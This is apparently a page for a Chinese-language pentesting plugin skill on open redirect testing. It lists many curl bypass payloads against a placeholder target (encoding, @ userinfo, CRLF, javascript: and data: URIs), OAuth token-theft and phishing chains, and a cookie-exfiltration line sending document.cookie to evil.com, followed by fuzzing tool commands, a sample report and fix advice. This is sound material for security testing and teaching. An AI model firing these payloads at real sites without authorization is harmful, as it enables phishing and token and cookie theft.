Tests web apps for open redirect vulnerabilities via URL parameter analysis, bypass payloads like encoding/@ tricks, and chains for phishing/OAuth token theft.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试将用户重定向到指定 URL 的登录/登出流程
Identifies and tests open redirect vulnerabilities in web apps by analyzing URL parameters, bypass techniques like encoding and subdomain tricks, and phishing exploitation chains. Useful for login, OAuth, and SSO audits.
Tests open redirect vulnerabilities in web apps by identifying redirect parameters, applying bypass payloads, and chaining for phishing or token theft in login/OAuth/SSO flows.
Detects open redirect vulnerabilities (CWE-601) when redirecting to user-supplied URLs from params, forms, login flows, or OAuth callbacks. Suggests host allowlist validation fixes.
Share bugs, ideas, or general feedback.
# 需要测试的常见重定向参数名称:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# 在应用程序中搜索重定向参数
# 使用 Burp Suite 爬取并识别所有参数
# 测试基本重定向
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
# 直接外部 URL
curl -v "http://target.com/redirect?url=https://evil.com"
# 协议相对 URL
curl -v "http://target.com/redirect?url=//evil.com"
# 带 @ 符号的 URL(用户信息滥用)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"
# 基于反斜杠的重定向
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# 空字节注入
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
# 子域名混淆绕过
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL 编码绕过
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# 双重 URL 编码
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# 混合大小写协议
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# 重定向中的 CRLF 注入
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript 协议
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
# 相对路径注入
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# 带重定向的路径遍历
curl -v "http://target.com/redirect?url=/../../../evil.com"
# 基于片段的绕过
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# 重定向参数污染
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
# 与 OAuth 结合实现 Token 窃取
# 步骤 1:在 target.com 上找到开放重定向
# 步骤 2:在 OAuth 流程中将其用作 redirect_uri
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# 与网络钓鱼链接
# 在 evil.com 创建令人信服的钓鱼页面
# 使用开放重定向:http://target.com/redirect?url=https://evil.com/login
# 受害者在初始 URL 中看到 target.com
# 通过 javascript: 协议与 XSS 链接
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
# 使用 OpenRedireX 进行自动化测试
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# 使用 gf 工具从 URL 中提取重定向参数
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# 使用 nuclei 批量测试
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# 使用 ffuf 测试
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
| 概念 | 定义 |
|---|---|
| 未验证重定向(Unvalidated Redirect) | 应用程序在不检查目标的情况下重定向到用户提供的 URL |
| URL 解析不一致(URL Parsing Inconsistency) | 不同库对 URL 的解析方式不同,导致可被绕过 |
| 协议相对 URL(Protocol-Relative URL) | 使用 // 前缀进行重定向,同时继承当前协议 |
| 用户信息滥用(Userinfo Abuse) | 使用 @ 符号使 URL 看起来属于可信域名 |
| 开放重定向链(Open Redirect Chain) | 组合多个开放重定向,或与其他漏洞链接 |
| 基于 DOM 的重定向(DOM-Based Redirect) | 客户端 JavaScript 使用攻击者控制的输入执行重定向 |
| Meta 刷新重定向(Meta Refresh Redirect) | 使用 HTML meta 标签进行重定向,无需服务端 302 |
| 工具 | 用途 |
|---|---|
| OpenRedireX | 自动化开放重定向漏洞测试工具 |
| Burp Suite | 用于拦截和修改重定向参数的 HTTP 代理 |
| gf (tomnomnom) | 从 URL 列表中提取重定向参数的模式匹配工具 |
| nuclei | 带有开放重定向检测模板的基于模板扫描器 |
| ffuf | 用于批量测试重定向参数 Payload 的模糊测试工具 |
| OWASP ZAP | 带有开放重定向检测功能的自动化扫描器 |
## 开放重定向评估报告
- **目标**:http://target.com
- **发现的易受攻击参数数量**:3
- **所需绕过技术**:URL 编码、用户信息滥用
### 发现
| # | 端点 | 参数 | Payload | 影响 |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | 网络钓鱼 |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token 窃取 |
| 3 | /logout | return | https://evil.com%00.target.com | 会话重定向 |
### 修复建议
- 实施允许重定向目标的白名单
- 使用严格的 URL 解析在服务端验证重定向 URL
- 拒绝包含外部域名的重定向 URL
- 使用间接引用映射代替直接 URL 参数